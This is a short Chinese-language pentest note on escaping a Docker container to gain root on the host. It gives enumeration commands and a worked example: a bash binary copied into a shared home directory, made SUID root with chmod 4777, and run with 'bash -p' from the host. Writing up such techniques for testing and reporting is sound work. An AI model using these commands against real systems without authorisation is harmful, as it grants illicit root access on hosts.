> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).
# Docker SUID 权限操作 - Linux 权限提升
Docker 逃逸（SUID 权限操作）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
Docker逃逸路径会利用容器配置错误、挂载的主机资源、默认凭据、重复使用的密码或过高的容器权限。目标是从容器环境转到主机级访问。本页具体关注 **Docker 逃逸（SUID 权限操纵）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```
## 示例
## Docker 中的 Bash SUID
由于在 Docker 容器中我们是 root，我们将把普通主机上的 bash 二进制文件复制到以下用户的家目录中 `augustus`:
```
cp /bin/bash .
```
在 Docker 的 root 目录下，我们将为这个 bash 文件赋予 root 组权限和 SUID 权限，使其以 root 身份运行：
```bash
chown root:root bash
chmod 4777 bash
```
我们回到 SSH 并看到：
`-rwsrwxrwx 1 root root 1234376 10月 28 11:35 bash`
`./bash -p`
---
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